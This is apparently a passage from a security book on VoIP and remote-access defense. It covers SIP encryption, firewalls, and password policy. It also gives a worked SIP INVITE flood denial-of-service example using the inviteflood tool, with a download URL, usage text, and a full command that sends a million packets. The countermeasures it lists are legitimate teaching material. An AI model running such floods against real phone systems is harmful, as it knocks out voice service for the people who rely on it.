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A number of defense and protection features are built into most of the recent hardware and software, but quite often they are not used Sometimes this is for reasons that are understandable (such as the impact of end-to-end encryption on delay and jitter, but also due to regulations and laws), but way too often it s because of laziness Encryption is available in Secure RT(C)P, Transport Layer Security (TLS), and Multimedia Internet Keying (MIKEY), which can be used with SIP H235 provides security mechanisms for H323 Moreover, firewalls can and should be deployed to protect the VoIP infrastructure core When selecting a firewall, you should make sure it handles the protocols at the application layer; a stateful firewall isn t often enough because the needed information is carried in different protocols header or payload data Network edge components such as border session controllers help to protect the customer and partner-facing system against denial of service attacks and rogue RTP traffic The phones should only download signed configurations and firmware, and they should also use TLS to identify the servers, and vice versa Keep in mind that the only
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difference between a phone and a PC is its shape Therefore, as with any system, you need to take host security into account when deploying handsets in your network
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The easiest attack, even if not very rewarding, is the denial of service It is easy to do, quite anonymous, and very effective You can, for example, DoS the infrastructure by sending a large number of fake call setups signaling traffic (SIP INVITE) or a single phone by flooding it with unwanted traffic (unicast or multicast) The inviteflood tool (requires the hack_library, both available at http://www hackingexposedvoipcom/sec_toolshtml) performs this attack superbly with devastating results It simply overwhelms the target with SIP INVITE requests that not only consume network resources, but in the case that the target is a phone, force it to continuously ring Inviteflood is such a powerful denial of service tool that when targeting a SIP gateway the server will often become completely overwhelmed and cease to function during the time of the attack
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$ /inviteflood inviteflood - Version 20 June 09, 2006 Usage: Mandatory interface (eg eth0) target user (eg "" or johndoe or 5000 or "1+210-555-1212") target domain (eg enterprisecom or an IPv4 address) IPv4 addr of flood target (dddddddddddd) flood stage (ie number of packets) Optional -a flood tool "From:" alias (eg janedoe) -i IPv4 source IP address -S srcPort (0 - 65535) [default: 9] -D destPort (0 - 65535) [default: 5060] -l lineString line used by SNOM [default is blank] -s sleep time btwn INVITE msgs (usec) -h help - print this usage -v verbose output mode
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To launch the attack simply specify the interface, extension, domain, target, and count:
$ /inviteflood eth0 1000 102191100 102191100 1000000 inviteflood - Version 20 June 09, 2006 source IPv4 addr:port dest IPv4 addr:port targeted UA = 102191120:9 = 102191100:5060 = 1000@102191100
Flooding destination with 1000000 packets sent: 1000000
SIP INVITE Flood Countermeasures
As with all other attacks, the first item on your security checklist should be to ensure network segmentation between the voice and data VLANs Also ensure authentication and encryption are enabled for all SIP communication on the network and IDS/IPS systems are in place to detect and thwart the attack
By now many readers may be questioning the entire concept of remote access, whether via VPN or good old-fashioned POTS lines You would not be wrong to do so Extending the perimeter of the organization to thousands (millions ) of presumably trustworthy end users is inherently risky, as we ve demonstrated Because extending the perimeter of your organization is most likely a must, here are some remote access security tips to keep in mind when doing so: Password policy, the bane of any security administrator s existence, is even more critical when those passwords grant remote access to internal networks Remote users must employ strong passwords in order to keep the privilege, and a password-usage policy should be enforced that provides for periodic assessment of password strength Consider two-factor authentication mechanisms, such as smartcards or hardware tokens Ask the vendor of your choice whether its product will interoperate with your current dial-up infrastructure Many provide simple software plug-ins to add token-based authentication functionality to popular remote access servers, making this decision easy Don t let dial-up connectivity get lost amid overhyped Internet security efforts Develop a policy for provisioning dial-up within your organization and audit compliance regularly with war-dialing Find and eliminate unsanctioned use of remote control software (such as pcAnywhere) throughout the organization